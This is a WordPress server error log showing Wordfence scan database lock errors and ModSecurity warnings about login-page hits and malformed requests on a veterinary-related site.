[Sat Jan 24 00:30:28.363488 2026] [proxy_fcgi:error] [pid 1517:tid 1534] [client 103.4.122.14:60408] AH01071: Got error 'exceeds the lock table size for query INSERT INTO wp_wfissues (time, lastUpdated, status, type, severity, ignoreP, ignoreC, shortMsg, longMsg, data) VALUES (UNIX_TIMESTAMP(), UNIX_TIMESTAMP(), 'new', 'wfPluginUpgrade', 50, '23df2ca0f76968e0fedbff46fb52cb1e', '23df2ca0f76968e0fedbff46fb52cb1e', 'The Plugin \\"MonsterInsights Pro\\" needs an upgrade (9.6.0 -> 9.11.1).', 'You need to upgrade \\"MonsterInsights Pro\\" to the newest version to ensure you have any security fixes the developer has released.', 'a:22:{s:18:\\"Requires Yoast SEO\\";s:0:\\"\\";s:4:\\"Name\\";s:19:\\"MonsterInsights Pro\\";s:9:\\"PluginURI\\";s:122:\\"https://www.monsterinsights.com/?utm_source=proplugin&utm_medium=pluginheader&utm_campaign=pluginurl&utm_content=7%2E0%2E0\\";s:7:\\"Version\\";s:5:\\"9.6.0\\";s:11:\\"Description\\";s:125:\\"The best Google Analytics plugin for WordPress. See how visitors find and use your website, so you can keep them coming back.\\";s:6:\\"Author\\";s:15:...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfissues (time, lastUpdated, status, type, severity, ignoreP, ignoreC, shortMsg, longMsg, data) VALUES (UNIX_TIMESTAMP(), UNIX_TIMESTAMP(), 'new', 'wfPluginUpgrade', 50, 'c1a68a1be1b689356852fefaf9bbb260', 'c1a68a1be1b689356852fefaf9bbb260', 'The Plugin \\"Elementor Pro\\" needs an upgrade (3.33.0 -> 3.33.1).', 'You need to upgrade \\"Elementor Pro\\" to the newest version to ensure you have any security fixes the developer has released.', 'a:22:{s:18:\\"Requires Yoast SEO\\";s:0:\\"\\";s:4:\\"Name\\";s:13:\\"Elementor Pro\\";s:9:\\"PluginURI\\";s:55:\\"https://go.elementor.com/wp-dash-wp-plugins-author-uri/\\";s:7:\\"Version\\";s:6:\\"3.33.0\\";s:11:\\"Description\\";s:176:\\"Elevate your designs and unlock the full power of Elementor. Gain access to dozens of Pro widgets and kits, Theme Builder, Pop Ups, Forms and WooCommerce building capabilities.\\";s:6:\\"Author\\";s:13:\\"Elementor.com\\";s:9:\\"AuthorURI...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfissues (time, lastUpdated, status, type, severity, ignoreP, ignoreC, shortMsg, longMsg, data) VALUES (UNIX_TIMESTAMP(), UNIX_TIMESTAMP(), 'new', 'wfPluginUpgrade', 50, '3c330d6bba37dc920dc7a9db1a79b809', '3c330d6bba37dc920dc7a9db1a79b809', 'The Plugin \\"Admin Menu Editor Pro\\" needs an upgrade (2.30 -> 2.31).', 'You need to upgrade \\"Admin Menu Editor Pro\\" to the newest version to ensure you have any security fixes the developer has released.', 'a:22:{s:18:\\"Requires Yoast SEO\\";s:0:\\"\\";s:4:\\"Name\\";s:21:\\"Admin Menu Editor Pro\\";s:9:\\"PluginURI\\";s:27:\\"http://adminmenueditor.com/\\";s:7:\\"Version\\";s:4:\\"2.30\\";s:11:\\"Description\\";s:125:\\"Lets you directly edit the WordPress admin menu. You can re-order, hide or rename existing menus, add custom menus, and more.\\";s:6:\\"Author\\";s:11:\\"Janis Elsts\\";s:9:\\"AuthorURI\\";s:20:\\"http://w-shadow.com/\\";s:10:\\"TextDomain\\";s:21:\\"adm...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfissues (time, lastUpdated, status, type, severity, ignoreP, ignoreC, shortMsg, longMsg, data) VALUES (UNIX_TIMESTAMP(), UNIX_TIMESTAMP(), 'new', 'wfPluginUpgrade', 50, '3e10992e301feac05fbf4f9a34bd16ec', '3e10992e301feac05fbf4f9a34bd16ec', 'The Plugin \\"UpdraftPlus - Backup/Restore\\" needs an upgrade (2.25.8.26 -> 2.26.1.0).', 'You need to upgrade \\"UpdraftPlus - Backup/Restore\\" to the newest version to ensure you have any security fixes the developer has released.', 'a:22:{s:18:\\"Requires Yoast SEO\\";s:0:\\"\\";s:4:\\"Name\\";s:28:\\"UpdraftPlus - Backup/Restore\\";s:9:\\"PluginURI\\";s:23:\\"https://updraftplus.com\\";s:7:\\"Version\\";s:9:\\"2.25.8.26\\";s:11:\\"Description\\";s:147:\\"Backup and restore: take backups locally, or backup to Amazon S3, Dropbox, Google Drive, Rackspace, (S)FTP, WebDAV & email, on automatic schedules.\\";s:6:\\"Author\\";s:26:\\"TeamUpdraft, DavidAnderson\\";s:9:\\"Auth...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfissues (time, lastUpdated, status, type, severity, ignoreP, ignoreC, shortMsg, longMsg, data) VALUES (UNIX_TIMESTAMP(), UNIX_TIMESTAMP(), 'new', 'wfThemeUpgrade', 50, '77c24d787e9b85b2b0ca7d22f92146be', '77c24d787e9b85b2b0ca7d22f92146be', 'The Theme \\"Hello Elementor\\" needs an upgrade (3.4.5 -> 3.4.6).', 'You need to upgrade \\"Hello Elementor\\" to the newest version to ensure you have any security fixes the developer has released.', 'a:7:{s:10:\\"newVersion\\";s:5:\\"3.4.6\\";s:7:\\"package\\";s:63:\\"https://downloads.wordpress.org/theme/hello-elementor.3.4.6.zip\\";s:3:\\"URL\\";s:45:\\"https://wordpress.org/themes/hello-elementor/\\";s:4:\\"Name\\";s:15:\\"Hello Elementor\\";s:4:\\"name\\";s:15:\\"Hello Elementor\\";s:7:\\"version\\";s:5:\\"3.4.5\\";s:10:\\"vulnerable\\";b:0;}') made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_call...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfissues (time, lastUpdated, status, type, severity, ignoreP, ignoreC, shortMsg, longMsg, data) VALUES (UNIX_TIMESTAMP(), UNIX_TIMESTAMP(), 'new', 'wfThemeUpgrade', 50, 'c44491af39b9ccd5310ef4ee9a8f8189', 'c44491af39b9ccd5310ef4ee9a8f8189', 'The Theme \\"Twenty Twenty-Five\\" needs an upgrade (1.3 -> 1.4).', 'You need to upgrade \\"Twenty Twenty-Five\\" to the newest version to ensure you have any security fixes the developer has released.', 'a:7:{s:10:\\"newVersion\\";s:3:\\"1.4\\";s:7:\\"package\\";s:62:\\"https://downloads.wordpress.org/theme/twentytwentyfive.1.4.zip\\";s:3:\\"URL\\";s:46:\\"https://wordpress.org/themes/twentytwentyfive/\\";s:4:\\"Name\\";s:18:\\"Twenty Twenty-Five\\";s:4:\\"name\\";s:18:\\"Twenty Twenty-Five\\";s:7:\\"version\\";s:3:\\"1.3\\";s:10:\\"vulnerable\\";b:0;}') made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_...PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:54:{i:1762839948;a:1:{s:10:\\"itsec_cron\\";a:0:{}}i:1769185541;a:1:{s:26:\\"action_scheduler_run_queue\\";a:1:{s:32:\\"0d04ed39571b55704c122d726248bbac\\";a:3:{s:8:\\"schedule\\";s:12:\\"every_minute\\";s:4:\\"args\\";a:1:{i:0;s:7:\\"WP Cron\\";}s:8:\\"interval\\";i:60;}}}i:1769185636;a:1:{s:29:\\"rsssl_every_five_minutes_hook\\";a:1:{s:32:\\"40cd750bba9870f18aada2478b24840a\\";a:3:{s:8:\\"schedule\\";s:18:\\"rsssl_five_minutes\\";s:4:\\"args\\";a:0:{}s:8:\\"interval\\";i:300;}}}i:1769185671;a:1:{s:34:\\"wp_privacy_delete_old_export_files\\";a:1:{s:32:\\"40cd750bba9870f18aada2478b24840a\\";a:3:{s:8:\\"schedule\\";s:6:\\"hourly\\";s:4:\\"args\\";a:0:{}s:8:\\"interval\\";i:3600;}}}i:1769185840;a:1:{s:10:\\"itsec_cron\\";a:1:{s:32:\\"43e2999d37d1fff6b29086f59c33e003\\";a:2:{s:8:\\"schedule\\";b:0;s:4:\\"args\\";a:2:{i:0;s:12:\\"malware-scan\\";i:1;s:32:\\"1cda7857c228f070f4fa0ed681f22583\\";}}}}i:1769186467...PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE wp_wfnotifications SET priority = 502, ctime = 1769185828, html = '<a href=\\"https://vetstars.com.au/wp-admin/admin.php?page=WordfenceScan\\">2 issues found in most recent scan</a>', links = '[]' WHERE id = 'site-FMGQAAA' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfScanEngine->go, wfScanEngine::refreshScanNotification, wfNotification->__construct'
[Sat Jan 24 00:59:53.603274 2026] [:error] [pid 11732:tid 11741] [client 149.202.183.73:44742] [client 149.202.183.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.202.183.73, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXOpCefd54xxq04JKuO-tQAAAMc"]
[Sat Jan 24 02:59:01.131284 2026] [:error] [pid 1517:tid 1529] [client 40.77.167.159:28615] [client 40.77.167.159] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "82"] [id "210381"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||vetstars.com.au|F|4"] [data "REQUEST_URI=/\\x17\\x14%-\\x07@%h\\x19*%g-\\x15\\x1f"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/\\x17\\x14%-\\x07@%h\\x19*%g-\\x15\\x1f"] [unique_id "aXPE9SZNw8-8ydKHCJvvjAAAAck"]
[Sat Jan 24 03:32:52.024090 2026] [:error] [pid 40903:tid 40953] [client 45.79.181.215:48154] [client 45.79.181.215] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.79.181.215, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXPM5Bxw3xvyqXTcGl-PawAAAE4"]
[Sat Jan 24 07:15:25.050960 2026] [:error] [pid 40905:tid 40981] [client 217.160.88.219:38970] [client 217.160.88.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.160.88.219, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXQBDV3rUAneNkh7mXAQxgAAAI8"]
[Sat Jan 24 08:06:30.611223 2026] [:error] [pid 41009:tid 41019] [client 14.215.163.132:52560] [client 14.215.163.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aXQNBmrewfoFUDD3TM2mlgAAAMg"]
[Sat Jan 24 08:21:51.959026 2026] [:error] [pid 40902:tid 40914] [client 88.99.39.252:58432] [client 88.99.39.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.99.39.252, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXQQnwSCceZpurDgOesxGwAAAAI"]
[Sat Jan 24 09:21:43.007477 2026] [:error] [pid 22900:tid 22926] [client 49.51.33.159:46602] [client 49.51.33.159] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aXQep1r6h1PpdlYV7gVrdgAAARc"]
[Sat Jan 24 09:35:20.512778 2026] [:error] [pid 40903:tid 40959] [client 143.110.190.80:33142] [client 143.110.190.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.110.190.80, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXQh2Bxw3xvyqXTcGl_15AAAAFQ"]
[Sat Jan 24 11:59:14.729608 2026] [:error] [pid 41009:tid 41017] [client 212.125.4.206:39770] [client 212.125.4.206] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.125.4.206, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXRDkmrewfoFUDD3TM3-EAAAAMY"]
[Sat Jan 24 12:14:20.319977 2026] [proxy_fcgi:error] [pid 14976:tid 14985] [client 103.4.122.14:37666] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/customizables/Builders/BaseElementBuilder.php', 'wp-content/plugins/admin-menu-editor-pro/customizables/Builders/BaseElementBuilder.php'), ('/home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/customizables/Builders/CodeEditorBuilder.php', 'wp-content/plugins/admin-menu-editor-pro/customizables/Builders/CodeEditorBuilder.php'), ('/home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/customizables/Builders/ContainerBuilder.php', 'wp-content/plugins/admin-menu-editor-pro/customizables/Builders/ContainerBuilder.php'), ('/home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/customizables/Builders/ControlBuilder.php', 'wp-content/plugins/admin-menu-editor-pro/customizables/Builders/ControlBuilder.php'), ('/home/vetstars/public_htm...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/includes/ajax-wrapper-v2/src/Action.php', 'wp-content/plugins/admin-menu-editor-pro/includes/ajax-wrapper-v2/src/Action.php'), ('/home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/includes/ajax-wrapper-v2/src/ActionBuilder.php', 'wp-content/plugins/admin-menu-editor-pro/includes/ajax-wrapper-v2/src/ActionBuilder.php'), ('/home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/includes/ajax-wrapper-v2/src/ConfigFields.php', 'wp-content/plugins/admin-menu-editor-pro/includes/ajax-wrapper-v2/src/ConfigFields.php'), ('/home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/includes/ame-option.php', 'wp-content/plugins/admin-menu-editor-pro/includes/ame-option.php'), ('/home/vetstars/public_html/wp-content/plugins/admin-menu-editor-p...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/elementor/assets/images/announcement.png', 'wp-content/plugins/elementor/assets/images/announcement.png'), ('/home/vetstars/public_html/wp-content/plugins/elementor/assets/images/app/ai/ai-site-creator-homepage-bg.svg', 'wp-content/plugins/elementor/assets/images/app/ai/ai-site-creator-homepage-bg.svg'), ('/home/vetstars/public_html/wp-content/plugins/elementor/assets/images/app/ai/product-image-unification-example.gif', 'wp-content/plugins/elementor/assets/images/app/ai/product-image-unification-example.gif'), ('/home/vetstars/public_html/wp-content/plugins/elementor/assets/images/app/onboarding/Blank_Canvas.svg', 'wp-content/plugins/elementor/assets/images/app/onboarding/Blank_Canvas.svg'), ('/home/vetstars/public_html/wp-content/plugins/elementor/assets/images/app/onboarding/Blank_Previe...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/elementor/assets/lib/animations/styles/e-animation-skew.css', 'wp-content/plugins/elementor/assets/lib/animations/styles/e-animation-skew.css'), ('/home/vetstars/public_html/wp-content/plugins/elementor/assets/lib/animations/styles/e-animation-skew.min.css', 'wp-content/plugins/elementor/assets/lib/animations/styles/e-animation-skew.min.css'), ('/home/vetstars/public_html/wp-content/plugins/elementor/assets/lib/animations/styles/e-animation-wobble-bottom.css', 'wp-content/plugins/elementor/assets/lib/animations/styles/e-animation-wobble-bottom.css'), ('/home/vetstars/public_html/wp-content/plugins/elementor/assets/lib/animations/styles/e-animation-wobble-bottom.min.css', 'wp-content/plugins/elementor/assets/lib/animations/styles/e-animation-wobble-bottom.min.css'), ('/home/vetstars/public_h...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/elementor/includes/controls/dimensions.php', 'wp-content/plugins/elementor/includes/controls/dimensions.php'), ('/home/vetstars/public_html/wp-content/plugins/elementor/includes/controls/divider.php', 'wp-content/plugins/elementor/includes/controls/divider.php'), ('/home/vetstars/public_html/wp-content/plugins/elementor/includes/controls/exit-animation.php', 'wp-content/plugins/elementor/includes/controls/exit-animation.php'), ('/home/vetstars/public_html/wp-content/plugins/elementor/includes/controls/font.php', 'wp-content/plugins/elementor/includes/controls/font.php'), ('/home/vetstars/public_html/wp-content/plugins/elementor/includes/controls/gallery.php', 'wp-content/plugins/elementor/includes/controls/gallery.php'), ('/home/vetstars/public_html/wp-content/plugins/elementor/includes/con...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/elementor/modules/nested-accordion/module.php', 'wp-content/plugins/elementor/modules/nested-accordion/module.php'), ('/home/vetstars/public_html/wp-content/plugins/elementor/modules/nested-accordion/widgets/nested-accordion.php', 'wp-content/plugins/elementor/modules/nested-accordion/widgets/nested-accordion.php'), ('/home/vetstars/public_html/wp-content/plugins/elementor/modules/nested-elements/base/widget-nested-base.php', 'wp-content/plugins/elementor/modules/nested-elements/base/widget-nested-base.php'), ('/home/vetstars/public_html/wp-content/plugins/elementor/modules/nested-elements/controls/control-nested-repeater.php', 'wp-content/plugins/elementor/modules/nested-elements/controls/control-nested-repeater.php'), ('/home/vetstars/public_html/wp-content/plugins/elementor/modules/neste...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/elementor-pro/assets/js/woocommerce-notices.c1b466cde2ea03db7d6e.bundle.js', 'wp-content/plugins/elementor-pro/assets/js/woocommerce-notices.c1b466cde2ea03db7d6e.bundle.js'), ('/home/vetstars/public_html/wp-content/plugins/elementor-pro/assets/js/woocommerce-purchase-summary.2ebf26dca7d446fdd128.bundle.js', 'wp-content/plugins/elementor-pro/assets/js/woocommerce-purchase-summary.2ebf26dca7d446fdd128.bundle.js'), ('/home/vetstars/public_html/wp-content/plugins/elementor-pro/assets/js/woocommerce-purchase-summary.88a2d8ca449739e34f9f.bundle.min.js', 'wp-content/plugins/elementor-pro/assets/js/woocommerce-purchase-summary.88a2d8ca449739e34f9f.bundle.min.js'), ('/home/vetstars/public_html/wp-content/plugins/elementor-pro/assets/lib/dom-to-image/js/dom-to-image.js', 'wp-content/plugins/elementor...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/elementor-pro/modules/loop-filter/module.php', 'wp-content/plugins/elementor-pro/modules/loop-filter/module.php'), ('/home/vetstars/public_html/wp-content/plugins/elementor-pro/modules/loop-filter/query/data/query-constants.php', 'wp-content/plugins/elementor-pro/modules/loop-filter/query/data/query-constants.php'), ('/home/vetstars/public_html/wp-content/plugins/elementor-pro/modules/loop-filter/query/interfaces/query-interface.php', 'wp-content/plugins/elementor-pro/modules/loop-filter/query/interfaces/query-interface.php'), ('/home/vetstars/public_html/wp-content/plugins/elementor-pro/modules/loop-filter/query/query-types/hierarchy-and-query.php', 'wp-content/plugins/elementor-pro/modules/loop-filter/query/query-types/hierarchy-and-query.
[Sat Jan 24 12:14:21.141068 2026] [proxy_fcgi:error] [pid 14976:tid 14985] [client 103.4.122.14:37666] AH01071: Got error 'exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/google-analytics-premium/pro/assets/img/social/icon-instagram.svg', 'wp-content/plugins/google-analytics-premium/pro/assets/img/social/icon-instagram.svg'), ('/home/vetstars/public_html/wp-content/plugins/google-analytics-premium/pro/assets/img/social/icon-linkedin.svg', 'wp-content/plugins/google-analytics-premium/pro/assets/img/social/icon-linkedin.svg'), ('/home/vetstars/public_html/wp-content/plugins/google-analytics-premium/pro/assets/img/social/icon-pinterest.svg', 'wp-content/plugins/google-analytics-premium/pro/assets/img/social/icon-pinterest.svg'), ('/home/vetstars/public_html/wp-content/plugins/google-analytics-premium/pro/assets/img/social/icon-reddit.svg', 'wp-content/plugins/google-analytics-premium/pro/assets/img/social/icon-reddit.svg'), ('/home/vetstars/public_html/wp-conte...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/core/lib/Config_Password_Requirement.php', 'wp-content/plugins/ithemes-security-pro/core/lib/Config_Password_Requirement.php'), ('/home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/core/lib/Config_Settings.php', 'wp-content/plugins/ithemes-security-pro/core/lib/Config_Settings.php'), ('/home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/core/lib/Config_Validator.php', 'wp-content/plugins/ithemes-security-pro/core/lib/Config_Validator.php'), ('/home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/core/lib/Legacy_Password_Requirement.php', 'wp-content/plugins/ithemes-security-pro/core/lib/Legacy_Password_Requirement.php'), ('/home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/core/lib/Module_Config.php', 'wp-conte...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/core/modules/password-requirements/active.php', 'wp-content/plugins/ithemes-security-pro/core/modules/password-requirements/active.php'), ('/home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/core/modules/password-requirements/class-itsec-password-requirements.php', 'wp-content/plugins/ithemes-security-pro/core/modules/password-requirements/class-itsec-password-requirements.php'), ('/home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/core/modules/password-requirements/entries/settings/app.js', 'wp-content/plugins/ithemes-security-pro/core/modules/password-requirements/entries/settings/app.js'), ('/home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/core/modules/password-requirements/entries/settings.js', 'wp-content/plugins/it...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/core/packages/utils/src/error-response.js', 'wp-content/plugins/ithemes-security-pro/core/packages/utils/src/error-response.js'), ('/home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/core/packages/utils/src/index.js', 'wp-content/plugins/ithemes-security-pro/core/packages/utils/src/index.js'), ('/home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/core/packages/utils/src/param-history.js', 'wp-content/plugins/ithemes-security-pro/core/packages/utils/src/param-history.js'), ('/home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/core/packages/utils/src/result.js', 'wp-content/plugins/ithemes-security-pro/core/packages/utils/src/result.js'), ('/home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/core/packages/utils/...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/pro/version-management/entries/site-scan/app.js', 'wp-content/plugins/ithemes-security-pro/pro/version-management/entries/site-scan/app.js'), ('/home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/pro/version-management/entries/site-scan.js', 'wp-content/plugins/ithemes-security-pro/pro/version-management/entries/site-scan.js'), ('/home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/pro/version-management/labels.php', 'wp-content/plugins/ithemes-security-pro/pro/version-management/labels.php'), ('/home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/pro/version-management/logs.php', 'wp-content/plugins/ithemes-security-pro/pro/version-management/logs.php'), ('/home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/pro/...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/really-simple-ssl/assets/templates/two_fa/login.php', 'wp-content/plugins/really-simple-ssl/assets/templates/two_fa/login.php'), ('/home/vetstars/public_html/wp-content/plugins/really-simple-ssl/assets/templates/two_fa/onboarding.php', 'wp-content/plugins/really-simple-ssl/assets/templates/two_fa/onboarding.php'), ('/home/vetstars/public_html/wp-content/plugins/really-simple-ssl/assets/templates/two_fa/profile-settings.php', 'wp-content/plugins/really-simple-ssl/assets/templates/two_fa/profile-settings.php'), ('/home/vetstars/public_html/wp-content/plugins/really-simple-ssl/assets/templates/two_fa/selectable-option.php', 'wp-content/plugins/really-simple-ssl/assets/templates/two_fa/selectable-option.php'), ('/home/vetstars/public_html/wp-content/plugins/really-simple-ssl/assets/templates/tw...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/really-simple-ssl/settings/src/Settings/DynamicDataTable/DynamicDataTableStore.js', 'wp-content/plugins/really-simple-ssl/settings/src/Settings/DynamicDataTable/DynamicDataTableStore.js'), ('/home/vetstars/public_html/wp-content/plugins/really-simple-ssl/settings/src/Settings/DynamicDataTable/SearchBar.js', 'wp-content/plugins/really-simple-ssl/settings/src/Settings/DynamicDataTable/SearchBar.js'), ('/home/vetstars/public_html/wp-content/plugins/really-simple-ssl/settings/src/Settings/EventLog/EventLogDataTable.js', 'wp-content/plugins/really-simple-ssl/settings/src/Settings/EventLog/EventLogDataTable.js'), ('/home/vetstars/public_html/wp-content/plugins/really-simple-ssl/settings/src/Settings/EventLog/EventLogDataTableStore.js', 'wp-content/plugins/really-simple-ssl/settings/src/Settings/E...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/simple-history/css/icons.css', 'wp-content/plugins/simple-history/css/icons.css'), ('/home/vetstars/public_html/wp-content/plugins/simple-history/css/simple-history-logo-icon.svg', 'wp-content/plugins/simple-history/css/simple-history-logo-icon.svg'), ('/home/vetstars/public_html/wp-content/plugins/simple-history/css/simple-history-logo.png', 'wp-content/plugins/simple-history/css/simple-history-logo.png'), ('/home/vetstars/public_html/wp-content/plugins/simple-history/css/simple-history-stats.css', 'wp-content/plugins/simple-history/css/simple-history-stats.css'), ('/home/vetstars/public_html/wp-content/plugins/simple-history/css/styles.css', 'wp-content/plugins/simple-history/css/styles.css'), ('/home/vetstars/public_html/wp-content/plugins/simple-history/css/utility-classes.css', 'wp-con...PHP message
[Sat Jan 24 12:14:21.670557 2026] [proxy_fcgi:error] [pid 14976:tid 14985] [client 103.4.122.14:37666] AH01071: Got error 'list (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/smart-slider-3/Nextend/SmartSlider3/Application/Admin/GoPro/Template/Index.php', 'wp-content/plugins/smart-slider-3/Nextend/SmartSlider3/Application/Admin/GoPro/Template/Index.php'), ('/home/vetstars/public_html/wp-content/plugins/smart-slider-3/Nextend/SmartSlider3/Application/Admin/GoPro/ViewGoProIndex.php', 'wp-content/plugins/smart-slider-3/Nextend/SmartSlider3/Application/Admin/GoPro/ViewGoProIndex.php'), ('/home/vetstars/public_html/wp-content/plugins/smart-slider-3/Nextend/SmartSlider3/Application/Admin/Help/ControllerHelp.php', 'wp-content/plugins/smart-slider-3/Nextend/SmartSlider3/Application/Admin/Help/ControllerHelp.php'), ('/home/vetstars/public_html/wp-content/plugins/smart-slider-3/Nextend/SmartSlider3/Application/Admin/Help/Template/Index.php', 'wp-content/plugins/smart-slid...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) 